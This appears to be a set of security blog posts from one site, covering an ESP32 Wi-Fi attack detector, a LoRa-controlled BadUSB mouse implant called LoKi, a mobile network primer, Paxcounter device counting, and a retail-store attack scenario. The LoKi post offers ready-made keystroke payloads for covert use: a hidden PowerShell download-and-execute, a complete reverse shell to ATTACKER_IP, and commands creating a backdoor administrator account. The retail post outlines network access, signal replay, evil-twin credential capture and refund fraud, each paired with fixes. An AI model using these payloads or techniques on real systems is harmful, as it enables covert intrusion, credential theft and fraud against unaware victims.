Welcome back, aspiring cyberwarriors!

Wireless security monitoring in the 2.4 GHz spectrum often depends on active probing, which can not only make the monitoring infrastructure vulnerable to attackers but also clutter the radio frequency environment. On the other hand, taking a passive approach by listening without transmitting allows security teams to detect malicious wireless activity more discreetly and reliably.

To put this idea into practice, the project Travel WiFi Canary was developed. This system serves as an early-warning mechanism using ESP32 microcontrollers. By operating the Wi-Fi radio in promiscuous mode, the device passively captures raw IEEE 802.11 management frames and traffic patterns. This helps identify potential threats such as deauthentication attacks, beacon spam, rogue access points often referred to as Evil Twins, and unauthorized probe requests. Eventually, it provides comprehensive insights into the wireless environment, enabling you to act proactively rather than reactively.

In this article, we will guide you through configuring, flashing, and running Travel WiFi Canary on the LilyGo T3 V1.6.1 development platform. Let’s get rolling!

What is Travel WiFi Canary?

The Travel WiFi Canary is a project that turns a low-cost ESP32 microcontroller into a passive 2.4 GHz threat-detection device. It operates continuously by alternating between active network enumeration and passive promiscuous packet capturing across specified channels.

At its core, the device’s Wi-Fi chip listens directly to raw radio signals passing through the air rather than connecting to a specific network.

When a wireless signal arrives, a fast automated responder checks the basic structure of the incoming data instantly. It identifies network management signals, such as connection requests, disconnection commands, or nearby network announcements, and separates them from standard web traffic.

To handle intense bursts of wireless activity without getting overwhelmed or missing crucial information, the chip places these flagged security signals into a temporary holding queue. This allows the main system to process and analyze the data safely in the background while keeping the hardware radio free to capture new incoming signals without interruption.

The central intelligence of the project relies on a dynamic confidence-scoring engine rather than rigid binary alerts. As the system processes the ring queues and periodic active scans, it evaluates detected anomalies against a local memory table built during the startup baseline phase.

Active scans check nearby Access Points for structural security violations. If an Access Point using an encrypted baseline protocol like WPA2 or WPA3 is detected operating without encryption, the system identifies an open clone attack. Security downgrades, unexpected vendor prefix mismatches on familiar SSIDs, or sudden disappearances of legitimate Access Points during an active open broadcast instantly contribute points to the global confidence score.

Simultaneously, the passive sniffer thread drains the lock-free queues to detect airborne attacks. Deauthentication frame floods are monitored over rolling time windows, assigning score penalties if threshold limits are breached by single sources or broadcast addresses.

The sniffer also inspects the payload fields inside beacon frames to detect Pwnagotchi signatures, parsing JSON structures hidden in vendor tags to determine if the device is operating in an active attack state.

All calculated points feed into a unified state machine. Aggregate scores between zero and two keep the device in a normal state, scores between three and five push it into a caution state, and scores of six or higher escalate the device into an active alert state.

To prevent temporary radio noise or brief packet anomalies from causing permanent alarm states, a background timer executes a score decay routine every minute. This routine gradually reduces the aggregate threat score over time, allowing the system to automatically transition back to a normal state once threat vectors clear the area. Hardware outputs, such as status LEDs or connected display controllers, continuously mirror the internal state variable to provide real-time visual monitoring.

What is LilyGo T3 V1.6.1?

The Travel WiFi Canary was initially made for the M5Stack Atom Lite development board. However, in this demonstration, I will test it on the LilyGo T3 V1.6.1.

The LilyGo T3 V1.6.1, also called the TTGO T3 LoRa32 V1.6.1, is an open-source development board designed for Internet of Things (IoT) projects and long-range RF communication. It has an ESP32 chip that allows for packet sniffing and Wi-Fi scanning. It gives us all the necessary functionality for wireless threat detection required by the Travel WiFi Canary project.

Getting Started with Travel WiFi Canary

The best way to flash the Travel WiFi Canary is by using Visual Studio Code along with the PlatformIO IDE extension. The installation process is fairly simple, so let’s move on to the next step, which is cloning the repository. I will use the modified version designed for the LilyGo T3 device. Here’s the command to do that:

kali> git clone https://github.com/AirClick-Code/esp32-wifi-canary.git

Next, connect your LilyGo T3 V1.6.1 to your computer using a data-capable Micro-USB cable. In Visual Studio Code, click on the PlatformIO status bar at the bottom and select env:esp32dev. Then, you can either click the checkmark icon in the status bar or press Ctrl+Alt+B to compile the firmware.

Once that is complete, click the right arrow icon in the status bar to start the upload process. PlatformIO will automatically detect the serial port, trigger the ESP32 to enter bootloader mode via auto-reset circuitry using the DTR and RTS lines, erase the necessary flash sectors, and upload the binaries seamlessly.

After the upload is complete, you can monitor the device with the built-in command:

pio device monitor -b 115200

At this point, the state machine and scanning engine are fully operational. During its initial scan, it detected seven nearby access points, recording their SSIDs, BSSIDs, signal strengths, channels, and encryption methods in memory.

Now, let’s simulate an open clone of a known encrypted network. The README file provides the following instructions:

I created a Wi-Fi access point from my phone with the same name as the network to which my system is connected, but without a password. Let’s observe how the WiFi Canary responds.

The script successfully identified the clone and granted 4 points to the score, changing the state to caution. The rogue open clone remained active in the following 20-second scan with a strong RSSI, adding another 4 points, which brought the total score to 8 and changed the state to alert. At the 310-second mark, the decay timer activated, decreasing the score from 8 to 7. However, since the score remained above the SCORE_ALERT threshold of 6 or higher, the system continued to maintain its alert state until the threat was resolved and the score naturally decayed back to zero.

Limitations

Despite the benefits of confidence scoring in reducing unexpected alerts, the possibility of false positives still exists. This is particularly true in enterprise networks, multi-node mesh setups, and crowded public venues, which can display behaviors that resemble attack patterns. On the flip side, false negatives may arise if a skilled attacker impersonates a legitimate BSSID while carefully adjusting their transmission power to fit in with normal signal strength variations, thus evading detection.

The limitations of the physical hardware create additional coverage boundaries. Passive detection of deauthentication relies heavily on the distance from the receiving device, meaning that low-power or far-off transmitters may be beyond the reach of the antenna. Furthermore, monitoring is confined solely to the 2.4 GHz spectrum, leaving the 5 GHz and 6 GHz bands completely unmonitored.

Lastly, the design of the radio architecture leads to a temporary gap in scanning whenever the chip switches between promiscuous packet sniffing and active environment scanning, resulting in a three-second blind spot where airborne deauthentication bursts can go unnoticed.

Summary

For many travelers and remote workers, understanding whether the Wi-Fi around them is secure is crucial. Private messages and sensitive information can be easily compromised when malicious actors set up fake hotspots or disrupt local connections. A device like the Travel WiFi Canary can continuously monitor the airwaves and alert you the moment a wireless attack is detected.

This device uses active Wi-Fi scanning and passive signal listening to find threats in real time. It constantly checks nearby networks against a trusted standard to spot fake open hotspots, duplicate routers, or security issues. At the same time, it listens for harmful activities like deauthentication attacks or rogue scanning tools. When it detects a threat, it raises a danger level with an internal scoring system and triggers a clear visual alarm. This alerts you immediately, giving you a warning before your devices may face any risk.

If you’re interested in improving your knowledge of wireless security, take a look at our Wi-Fi Hacking training. This course will guide you on how to assess the security of wireless networks and equip you with modern strategies to protect them effectively.

The post Building a Pocket Wi-Fi Threat Detector first appeared on Hackers Arise.

Welcome back, cyberwarriors!

We’ve had different series on building your own BadUSB. Together we built a hacking drone and a WiFi Pineapple to test wireless devices. Aircorridor covered Meshtastic, secured his node and showed how it works in different conditions.

Today, we want to show you LoKi, which is a LoRa/Meshtastic based implant for red teaming. You can send commands to a LoKi device using long range (LoRa) radio signals and it runs whatever it was asked to, creating backdoors or setting up a reverse shell with a C2. You can get really creative here.

LoKi 

LoKi came out recently and was presented at DEF CON 34 in the Demo Labs. Essentially, it’s a BadUSB HID device that looks like a computer mouse and works just the same. There’s nothing suspicious about it and the victim won’t notice anything.

Here’s how its architecture looks. On the left you’ve got multiple Meshtastic devices forming a mesh network. One of them sends a command over LoRa radio to the implant. The LoRa module receives the message and converts it into USB HID keystrokes, like a RubberDucky. Those keystrokes then go into the USB hub.

The original mouse electronics (Mouse USB Header) are also connected to the same USB hub, but the USB cable that used to run straight from the mouse PCB to the computer gets cut. The LoRa implant and the original mouse are now wired through the USB hub instead. The red lines show this new path.

Hardware

For the LoRa module the developer picked the Heltec V3 Lite. He used the Heltec V3 with the OLED display for prototyping, but the V3 Lite draws less power and you can easily fit it into wired USB mice. The Heltec V3 also has an extra USB port that you can configure as any device class, but we need the HID device class for this attack. The onboard USB with the type C connection is a fixed CDC class for programming and debugging. You can’t change that.

For the USB hub he picked the Adafruit CH334F. It’s a tiny 2 port hub that’s a perfect fit for this project.

And here’s a photo of his early prototype.

Schematics

The Heltec V3 and V3 Lite devices have the additional USB port on different pins. The one below is for the Heltec V3 Lite.

Here the Heltec Wireless Stick Lite is connected to one port of the Adafruit CH334F USB hub using its secondary USB data lines (GPIO20 as D+ and GPIO19 as D-), along with 5V and ground. These pins are configured in firmware as a USB HID keyboard, so the board can inject keystrokes. The original mouse’s USB header is wired to the second port of the same hub using the standard color coded wires (red for 5V, green for D+, white for D-, and black for ground), so the mouse keeps functioning normally.

The host side of the hub is connected to the mouse’s original USB cable, which then plugs into the target computer. That way one USB connection carries both the genuine mouse and the hidden keyboard implant.

Firmware

The implant runs a modified version of the official Meshtastic firmware, which you can find here. It’s a fork of the Meshtastic code with custom additions for the implant. You can send the same style of commands used by the USB Rubber Ducky (STRING, DELAY, GUI, CTRL, ENTER, and so on). The firmware only works with direct messages addressed to the implant and ignores normal broadcast chat traffic, so ordinary Meshtastic messages can’t accidentally trigger keystrokes.

You can use PlatformIO to flash the firmware.

Payloads

The project doesn’t really include any payload, so you’ll need to come up with your own. Here are some payloads we made for you:

Download and execute a payload:

GUI r
DELAY 1000
STRING powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://yourserver/payload.ps1')"
ENTER

Create a reverse shell:

GUI r
DELAY 1000
STRING powershell -nop -w hidden -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER_IP',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1|Out-String);$sb2=$sb+'PS '+(pwd).Path+'> ';$sb2b=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sb2b,0,$sb2b.Length)}"
ENTER

Add a local admin user:

GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1000
STRING net user backdoor P@ssw0rd123 /add
ENTER
STRING net localgroup administrators backdoor /add
ENTER

There’s also a table we left for you to grasp the logic, if you’re not familiar with it.

Summary

Before LoKi we used to work with loops and control these rogue devices over WiFi. Now you can do it with a lot more range. A mouse is just an example, it can be swapped out for something else. The core idea of LoKi is that it’s a LoRa implant. It’d be great to see more creative ideas built around it.

If you enjoy experimenting with frequencies and trying new things, we have our SDR for Hackers training. Master OTW will show how to use your computer and inexpensive SDR hardware to hack a wide range of radio signals. It’s available for beginners and advanced students.

The post Persistence: Sending Keystrokes from Kilometers Away with LoKi first appeared on Hackers Arise.

The post Software Defined Radio (SDR) for Hackers: Choosing the Best Hardware for SDR first appeared on Hackers Arise.

Welcome back, my aspiring cyberwarriors!

Cellular or mobile networks have become a favorite target for Chinese APT and other hackers trying to:

1. Collect location data
2. Eavesdrop on voice conversations
3. Intercept confidential data.

To understand what these hackers are doing and how to protect your organization against it, let’s delve into how mobile networks work.

What is a Mobile Network?

A cellular network is not a single antenna or a single piece of infrastructure, but a layered system that lets moving devices stay connected wirelessly while the network manages identity, coverage, mobility, and routing in the background. At the edge is the UE, the user equipment: essentially the phone together with its SIM. The SIM proves who the subscriber is, while the phone provides the radio interface and the user-facing functions. From the user’s perspective it feels simple: the phone has signal and connects. Technically, that simplicity is created by several coordinated layers working at the same time.

The Radio Access Network (RAN)

The access layer is the RAN, the Radio Access Network. This is where base stations communicate with phones over the air. Different generations use different names for roughly the same role: BTS in 2G, NodeB in 3G, eNodeB in 4G, and gNodeB in 5G. Behind that sits the core, which acts like the brain of the network. It authenticates the user, keeps track of where the device is, sets up calls and data sessions, and connects traffic toward other networks and the internet. Coverage is then divided into many cells, and frequencies are reused carefully across cells that are far enough apart to avoid interference. That reuse is one of the key reasons cellular systems can serve millions of users with limited spectrum.

The Handover

Mobility is handled through handover. As a device moves, the network silently transfers the connection from one cell to another so that a call, stream, or download can continue without the user noticing. The complete path is therefore UE to RAN, RAN to core, and core to the internet or another network. The telemetry reinforces that this is an active, managed system: signal quality, connected cells, traffic load, uplink, downlink, latency, and packet loss all describe the health of the connection. So after defining what must stay inside the lab, this gives us the basic architecture we are allowed to study safely: device, access network, core, cells, and mobility working together as one coordinated network.

The Control Plane vs the User Plane

Building on the architecture of UE, RAN, core, cells, and handover, the next distinction is about what kind of traffic is moving through that architecture. A cellular network carries two very different conversations at the same time. One conversation is about managing the connection itself, and the other is the actual content the user cares about. That difference is captured by the split between the control plane and the user plane.

The control plane is signaling. It is the network’s coordination layer: registering the device, authenticating the subscriber, tracking where the device is, deciding how calls and messages should be routed, and maintaining the session as the user moves. The user plane is the payload: voice, video, web traffic, app data, and messages carried through the channels that signaling has already established. A simple way to think about it is that the control plane is the set of instructions that says where traffic should go, while the user plane is the traffic itself.

This split matters for security because the two planes have different characteristics and different risks. Signaling tends to be small, structured, and network-wide; payload traffic is usually larger and more local to the user’s active session. They also run through different systems and are protected in different ways. The important insight is that attacks do not always need to break encryption on the content itself. If someone can manipulate signaling, they may be able to influence where calls, SMS, or sessions are routed. So the defensive focus is not only protecting the data, but also protecting the instructions that control the data.

Summary

Mobile networks have become ubiquitous and essential to our digital life in our modern times. Billions of people rely upon these networks to communicate and transmit data around the world. Despite security measures implemented in 4G and 5G networks, advanced attackers continue to breach these networks almost at will. If you or your organization use these networks to transmit data, make voice calls or otherwise utilize these networks, you are at risk. By better understanding these networks, you are better prepared to protect you and your organization from eavesdropping, data interception, and rogue location services.

To learn more about these systems and how they can attacked, check out our Building Your Own Mobile 4G/5G Base Station where we demonstrate real attacks on our networks.

The post Mobile Network Hacking:What is a Mobile Network and How Does it Work? first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Lately, we’ve covered several tools you can use with your laptop to track nearby devices and people. While they’re useful, their effectiveness depends on the strength of your Bluetooth adapter, and, of course, you need to have your laptop with you.

This time, we’re doing things differently. We want to show you a device that can automatically monitor nearby devices for extended periods, anywhere you choose to place it, and as often as you want. It doesn’t rely solely on Bluetooth, as it also uses Wi-Fi, which is far more likely to be enabled, increasing the chances of detecting someone in your area.

What is Paxcounter

Paxcounter is an open-source firmware project that takes a cheap little ESP32 development board and turns it into a sensor that can count people. Almost every smartphone in the world is constantly sending out small Wi-Fi signals, called probe requests, and Bluetooth signals too, even when the phone is not connected to anything. Paxcounter listens for these signals in the air. It counts how many different devices it hears during each scan, and from that, it can tell you a real time estimate of how many people are nearby.

The project started out as a simple way to measure how many passengers or pedestrians pass through a certain spot. But over time, it grew into something much bigger. Now it works as a general purpose IoT platform, built on hardware that usually costs somewhere between $10 and $30. Besides its main job of counting Wi-Fi and Bluetooth devices, a Paxcounter can also read environmental sensors, track its GPS position, keep accurate time, and send all of that data out through LoRaWAN, MQTT, a local serial connection, or straight onto an SD card. 

How the Counting Works

The way Paxcounter counts people is simple, but it was clearly built with privacy in mind from the very start. Every scan cycle, which lasts 60 seconds by default, the device switches its Wi-Fi and Bluetooth radios into scanning mode and listens for probe requests and advertisement packets coming from nearby devices. Each of these packets carries a MAC address. Paxcounter takes just the last two bytes of that address and turns them into a short, temporary ID. This ID is only used to check for duplicates during that one scan cycle. Once the cycle ends, the count of unique IDs gets sent out, and the whole list is wiped from memory. The firmware also does not try to fingerprint any device. It never tries to figure out a phone’s brand, its operating system, or who owns it. All it wants to know is whether that device has already been counted in the current window.

This scan and clear cycle just keeps repeating, either nonstop or on a schedule if deep sleep power saving is turned on. The results, which include the Wi-Fi count, the Bluetooth count, and sometimes live sensor readings too, get packed into a small payload and sent out through whatever channel the device is set up to use. One thing worth knowing is that Wi-Fi and Bluetooth scanning actually share the same 2.4 GHz radio hardware on the ESP32. So running both scans at the same time slightly lowers the accuracy of each one. Because of that, the project’s own advice is to split Wi-Fi only counting and Bluetooth only counting across two separate devices whenever the best possible accuracy is needed for both.

One Firmware, Many Boards

Paxcounter comes with a hardware abstraction layer and its own pin mapping files for dozens of ESP32 and ESP32-S3 boards. These come from well known manufacturers like LILYGO and TTGO, Heltec, Pycom, WeMos, M5Stack, and Adafruit, and there is also a generic template ready for boards that are not officially supported yet. LILYGO even sells a ready-made board called Paxcounter LoRa, built specifically to run this firmware. 

Depending on which board you pick, your device can end up supporting a LoRaWAN radio for sending data over long distances while using very little power, an OLED status screen, or a single color, RGB, or larger LED matrix light to show status. It can also support a physical button for flipping through display pages or sending an alarm message, battery voltage monitoring, GPS positioning, a real time clock chip along with IF482 or DCF77 time telegram output, and even an SD card slot for logging data locally when there is no network around.

Because the whole system was designed to be truly portable, the documentation goes into real detail about power draw, which usually sits somewhere between 450 and 1000 milliwatts depending on how the device is set up. It also makes good use of the ESP32’s deep sleep mode, so a device can keep running for a long stretch of time on just one 18650 lithium ion battery cell. Members of the community have already shared several 3D printable enclosure designs on Thingiverse for the more popular boards.

Getting the Device Up and Running

Paxcounter is built using PlatformIO instead of the plain Arduino IDE. This choice lets it work smoothly with editors like Visual Studio Code, Atom, or Eclipse, and it gives the project reproducible, script driven builds. In fact, the repository runs an automated PlatformIO build check every single time the code changes, using GitHub Actions, and there is even a CodeFactor badge that keeps an eye on ongoing code quality.

The configuration is intentionally spread across a handful of different files instead of being crammed into just one. This keeps board specific settings, behavioral settings, and personal settings nicely separated from each other. The platformio.ini file is where you select which board’s hardware profile you want to compile against. The paxcounter.conf file handles behavioral settings, things like how long a scan cycle lasts, sleep timing, and payload options. The shared lmic_config.h file sets the LoRaWAN region and frequency plan, so it matches the rules where you live. The shared loraconf.h file holds the device’s LoRaWAN join credentials, and the project recommends using OTAA rather than ABP for this. And the shared ota.conf file stores the Wi-Fi credentials the device uses for over the air firmware updates.

You can upload firmware the traditional way, over USB, or once a device has joined a LoRaWAN network, you can push updates over the air instead. A remote command tells the board to connect to Wi-Fi, check a hosted repository called PAX.express for a newer build, and then download and flash it automatically. If anything goes wrong during that process, it will roll back to the previous version on its own. Devices can also be set up to open a small local web based bootstrap menu right when they power on, which lets you upload a firmware file manually, even from a phone in tethering mode, without needing PlatformIO installed on site.

Configuration and Extensibility

Beyond just picking a board, Paxcounter gives you a long list of settings you can tune to fit your needs. It can log environmental data from sensors like the Bosch BMP180, BME280, BMP280, or BME680, read a Nova SDS011 particulate matter sensor to track dust in the air, and keep accurate time using either a DS3231 real time clock or a connected GPS module. 

Display and LED

On boards that come with an OLED display, Paxcounter shows live status information you can cycle through with a short press of the button. This includes the current pax count, meaning the people count, a histogram of recent activity, GPS status, environmental sensor readings, and the time of day. 

A long press of that same button sends an alarm message out over the network instead, which is a simple way to flag a problem from out in the field without needing any other kind of interface. Even on boards that do not have a display at all, a status LED still tells you what the device is doing through its blink pattern. You get a brief flash whenever a new Wi-Fi or Bluetooth device is spotted, a quick blink while the device is joining the LoRaWAN network, a short blink during data transmission, and a slow, long blink if there is a LoRaWAN stack error. Boards that have an RGB LED get a color coded version of these same signals.

How You Receive the Data

Once a Paxcounter has counted the people nearby and packed everything into a message, that data has to go somewhere so you can actually see it. How that happens depends on which output the device is using, and the good news is you can turn on more than one at the same time. If you are using LoRaWAN, which is the most common setup, the device does not send the data straight to you. Instead, a nearby LoRaWAN gateway picks up the signal first and forwards it on to a network server, usually The Things Stack. There is a small decoder script included with the project, and its job is to take that raw message and turn it into numbers you can actually read, something like a pax count of 14. From there, The Things Stack can pass the data along to your own app or dashboard using MQTT or a webhook, or you can simply watch it come in live through the built in console.

If a board does not have LoRa hardware built in, it can just skip the gateway completely and send that same kind of data straight to an MQTT service over Wi-Fi instead. You can also connect the device to a computer using a USB cable and read the numbers directly from a serial connection. This is a simple way to test things out without needing to set up a network at all. If SD card logging is turned on, everything also gets saved locally as a CSV file, so you can pull the card out later and open it up in a spreadsheet. This comes in handy in places where there is no network coverage to rely on. 

Where It’s Used

Because a single Paxcounter device is cheap to build and can be left running unattended for a long time, you will find it popping up in a pretty wide range of places. Retailers and shopping centers use it to measure foot traffic without needing to install cameras. Event organizers use it to watch how crowds move around a venue in real time. Pentesters can get a passive read on how many Wi-Fi and Bluetooth devices are active in a building, or to notice unexpected devices showing up where they shouldn’t, all without needing camera access or network credentials.

Legal and Privacy Considerations

Since Paxcounter’s whole job involves listening to wireless traffic, its documentation is unusually upfront about the legal side of things. It points out that sniffing Wi-Fi and Bluetooth MAC addresses may be regulated or restricted depending on where you live, and it links to specific starting references for the US, the UK, the Netherlands and the EU, and Germany. It also makes clear that the legal responsibility for how a device is built and deployed falls on the person doing it, especially for public deployments where the results might get published somewhere. On the technical side of privacy, the project’s own design actually holds up pretty well against that legal backdrop. Identifiers are only ever built from the last two bytes of a scanned MAC address, they are kept in memory just for the length of one scan cycle, and then they are discarded completely. No MAC addresses or identifiers are ever sent out over the network, and the firmware does not do any extra tracking or fingerprinting of the devices it scans.

Summary

What really makes Paxcounter stand out is not any single feature on its own. It is the whole combination working together. One piece of open source firmware supports dozens of cheap boards, runs for a long time on a small battery, counts people without saving anything identifying about them, doubles as a general environmental sensor node, speaks LoRaWAN, MQTT, serial, and SD card all at once, and can be fully reconfigured from a distance once it is out in the field. The full source code, the complete board list, and all the documentation are available on GitHub.

If you enjoy experimenting with frequencies and trying new things, we recommend signing up for our SDR for Hackers training. With Master OTW, you’ll learn how to use your computer and inexpensive SDR hardware to explore and hack a wide range of radio signals.

The post SDR (Signals Intelligence) for Hackers: Tracking People with ESP32-Paxcounter first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Let’s talk about something most people never think about. When the news reports on a cyberattack against a big retail chain, the story usually sounds the same. A database got leaked or ransomware locked up the company’s files. These are real threats, and they deserve attention. But what happens if a hacker skips all of that and simply walks into a physical store with a laptop tucked in a backpack? No malware sent through email and no phishing link, just being there physically.

In this article, we are going to build a picture, drawn from several real walkthroughs of ordinary retail stores, all pointed toward one goal. We want to see the store the way a pentester sees it.

A Hacker in the Supermarket

Imagine someone stepping through the front doors with that mindset. Within a few minutes of walking the floor, a handful of things stand out.

There are the transformer checkout terminals and the self service kiosks, the modern face of retail, and also a possible weak point. There are staff call buttons mounted near the aisles, small radio transmitters that broadcast a fixed code each time someone presses them, a code that could potentially be captured and played back later. There are wireless DECT handsets still in use on some sales floors, the same cordless phone technology many offices have relied on for years. There are data collection terminals, plain Android devices that sometimes carry no password protection at all, with access to the store’s Wi-Fi settings. And running along the floor and behind the counters, there are network cables, which in the wrong circumstances could let anyone plug in and reach the store’s internal network.

Day 1 – Becoming an Insider

Many corporations believe their internal network is sealed off from the outside world, safe behind firewalls and passwords. That sense of safety can end at the first unlabeled cable lying loose on the floor.

Someone can walk up to a transformer checkout terminal,  unplug its network cable, plug in a laptop instead (or better yet, one of those devices we showed in previous articles), and type a simple command.

kali > sudo dhclient

That laptop could be handed an IP address from the store’s own internal network. If the network uses a /27 mask, that means an entire segment of the corporate infrastructure could open up right there.

Scanning the network might take only a couple more minutes, and inside, a hacker could find exactly what you would expect from a typical store. There could be the store manager’s workstation, with an open RDP port for remote access. There could be a Wi-Fi router still running its factory default settings. There could be a DECT base station handling internal telephony. There could be surveillance cameras, other registers and terminals, and tucked away in shared folders and configuration files, credentials and passwords saved in plaintext.

From there, someone could try connecting to the manager’s computer. If the RDP client offers a choice of accounts, and one of those accounts, say one named operator, needs no password at all, that should raise a flag. Normally Windows blocks RDP logins for accounts with blank passwords, so a setup like that means someone deliberately switched that protection off, likely to keep an easy access route open for themselves. Sysadmins often do it. But that’s a backdoor. We often see the same issue with VNC. That route could lead to the remote desktop of an employee with access to corporate email, internal messenger conversations, financial documents, work schedules, and delivery data.

And since Chrome is installed on nearly every computer in sight, opening Passwords could show saved logins for internal services, everything from the CRM system to the warehouse management software, sitting there in plain view.

How to Fix It

Passwordless accounts feel almost like a relic from an earlier era, yet they still turn up in retail environments from time to time. Alongside them, flat, unsegmented networks are common, where cameras, workstations, and Wi-Fi routers all sit together on the same segment. Add to that the simple physical accessibility of the equipment. Network cables, ports, and switches are often placed exactly where any employee, or any visitor, could reach them without much trouble.

Segment the network properly, giving separate VLANs to registers, service equipment, and employee workstations, so a breach in one area does not open a door to everything else. Restrict which devices are even allowed to connect through RDP in the first place. Turn on MAC address whitelisting along with Port Security, so an unknown device cannot simply be plugged into an open port and join the network. Require real passwords on every local account, without exception. Disable browser based password storage for anything tied to internal systems.

And finally, ask security staff to keep a closer eye on the registers themselves.

Day 2 – Telephone Game

Consider a small, easy to overlook detail, a staff call button tucked into a corner near an aisle. Pressed once, it sends a chime ringing across the store, and a salesperson comes over a moment later. Simple enough, on the surface.

Except with a HackRF One someone could intercept and record the exact signal the button sends the moment it is pressed. If that button broadcasts the same static signal every time, with no protection against replay, then anyone who plays that recorded signal back over the air could trigger the same chime, without ever touching the actual button. This is what we call a replay attack, and it remains a real possibility even now.

Once that chime lives on someone’s laptop, a single click could ring it out across the entire store. Employees might rush toward the sound, leaving a register briefly unattended, while someone else nearby has a short window to act.

The same HackRF One, paired with an open source tool called gr dect2, could also be used to listen to the surrounding airwaves. If a store still relies on wireless DECT handsets for internal communication, a call placed from one handset to another could, in principle, be intercepted and decrypted in real time as it travels through the air. From that point, anyone listening could pick up delivery schedules, work rosters, and conversations about register problems, all carried over employees’ DECT handsets.

Older pentest reports sometimes describe this kind of attack as only medium risk, mostly because of the cost of the equipment and the technical skill it supposedly requires. It’s different now. An original HackRF One costs somewhere around three hundred dollars, and less expensive clones can be found on online marketplaces for a fraction of that price. And gr dect2 makes the whole process more accessible, since it is an openly documented, freely available project.

How to Fix It

The fixes here lean more organizational than technical. It makes sense to retire primitive call buttons in favor of systems that use dynamic, constantly changing codes instead of a single static signal. Alongside that, replacing outdated DECT telephony with modern VoIP or straightforward wired communication removes much of this risk entirely.

Day 3 – Corporate Wi-Fi

What about the Wi-Fi? On paper, it can look genuinely solid, not a simple router with a shared password, but full WPA-Enterprise authentication requiring a proper login and password from each user. That sounds like a real obstacle, and in many ways it is. But it does not fully close the door. Someone could set up a rogue access point using the exact same network name as the legitimate one. If an employee’s device, whether a work tablet or a personal smartphone, tries to reconnect automatically, it might see two access points broadcasting the identical name and simply pick whichever one offers the stronger signal and the faster response. A rogue access point built for this purpose could easily be tuned to answer faster than the real one. Once a device connects to that convincing twin, it attempts to authenticate as usual, and in doing so, it sends its credentials straight into someone else’s logs.

How to Fix It

Setting up EAP TLS with proper certificate validation on every client device helps ensure a fake network cannot simply mimic its way into a successful login. Monitoring the surrounding radio spectrum regularly is also worthwhile. Even simple, freely available tools can detect unauthorized access points broadcasting names that match or closely resemble the real corporate network. And training staff matters. If a Wi-Fi password is unexpectedly requested a second time, or a connection seems to take suspiciously long, employees should feel comfortable reporting it to security or the IT security team right away.

Day 4 – Transformer Register and Cash Drawer

A transformer register is really a combined hardware and software unit, built around a metal cash drawer, both stationary and handheld barcode scanners, and a receipt printer. Along its bottom panel often sits a row of unprotected USB ports. Plugging in an ordinary keyboard there opens the door to some experimentation.

Pressing Ctrl Alt and one of the function keys from F1 through F5 can switch the screen to a text console, prompting for a login and password. Full system access could sit right there within reach. Even if the Alt F2 shortcut for quickly launching commands has been disabled, the multi user Linux console underneath may remain fully accessible regardless.

Power cycling the device and pressing Delete could open the BIOS. Without a boot password protecting it, the machine could be booted from an outside USB drive, handing over full control of the system, along with the ability to change settings or install unwanted software.

The most interesting risk, though, waits underneath the register itself. The metal cash drawer typically has a mechanical emergency release button on its underside. If the drawer has not been locked with a physical key, which happens more often than store staff would like to admit, then any customer could simply lean down, press that button, and slide the cash right out.

No discussion of registers is complete without mentioning their close relatives, the self checkout kiosks. These are essentially the same transformer registers, just packaged in a form factor that happens to be even more exposed. USB ports, network ports, and power ports often sit within easy reach. The real difference is that a transformer register might occasionally be watched by a nearby salesperson, while a self checkout kiosk usually sits alone in a corner, without much oversight at all.

Standing casually near a kiosk for just a few minutes could be enough to observe an employee entering their access code. From there, that access could open up the kiosk’s full functionality, including the ability to ring up items, process returns, and open that same metal cash drawer hiding underneath.

How to Fix It

The solution here is fairly clear once the problem is understood. Restricting physical access to the register hardware itself, through USB port blockers, closed enclosures, and sealed covers, prevents outside devices from being connected in the first place. A BIOS password combined with disabling boot from removable media protects against attempts to seize control of the system through a flash drive.

Employee authorization deserves attention too. Since the register already comes equipped with a barcode scanner, a smart approach is issuing personal ID badges with the employee’s password encoded directly into the barcode. The employee scans their badge, the system authenticates them instantly, and the actual password stays hidden from anyone watching nearby. Leaving the alphanumeric combination off the badge entirely prevents it from being typed in manually as a way to bypass the scanner.

And of course, the lock on the cash drawer matters. If it is even possible to leave that drawer unlocked, sooner or later it probably will be. Drawers that lock automatically, without relying on a person remembering to do it, offer a much more reliable solution.

Day 5 – Refund

Consider someone playing the role of an ordinary, everyday customer. They buy a small item in the store, pay with a card, and walk away with a receipt like anyone else. Once a self checkout kiosk sits idle for a moment, tapping the top left corner of the screen could open a hidden staff menu.

The system would ask for authorization. If someone types in a password they had observed a cashier enter earlier, often a simple employee ID number, that alone could be enough to land inside the cashier menu. 

From there, selecting a refund by sales receipt option could display a list of recent transactions, including the very purchase just made. A further step worth testing is whether the refund could be redirected, not back to the same card used to pay, but to a completely different one, belonging to someone else entirely. You might expect the terminal to block an operation like that, or at least demand confirmation from a senior employee before proceeding. In some systems, neither of those things happens, and an ordinary cashier’s password turns out to be enough to redirect the funds elsewhere.

To its credit, a system like this may honestly display a warning that the money will be sent to a different card than the one used for payment. But it can carry out the operation anyway, without further checks.

The item would stay with the customer, the original purchase would turn into a refund on paper, and the store’s money would end up in someone else’s account. One more detail worth checking is whether the refund function has any built in time limits. Many places only allow refunds within a set window, say fourteen days, in line with consumer protection law. But in some systems, attempting to process a refund for a purchase made several months earlier goes through without any resistance at all.

This points to a deeper gap in business logic and access control. The authorization threshold can sit far too low, since a rank and file salesperson’s password may be enough to trigger a real financial operation, and that password is often easy to observe over someone’s shoulder. There may be no check to confirm the refund card actually matches the original payment card. A refund landing on a different card is not automatically suspicious on its own, since many banks and retail chains support this for customer convenience. But operations like that should require sign off from the store manager, a financially liable employee, or someone else holding proper authority. And finally, there may be no meaningful time or amount limits at all, meaning refunds could remain possible over an unlimited stretch of time, and theoretically for an unlimited amount, up to whatever balance the register happens to hold.

How to Fix It

Two tier authorization is genuinely useful here, paired with a strict time window governing refunds. Automatic refunds could be limited to the last fourteen days, with anything older switching over to manual processing, complete with multi level review and documented sign off.

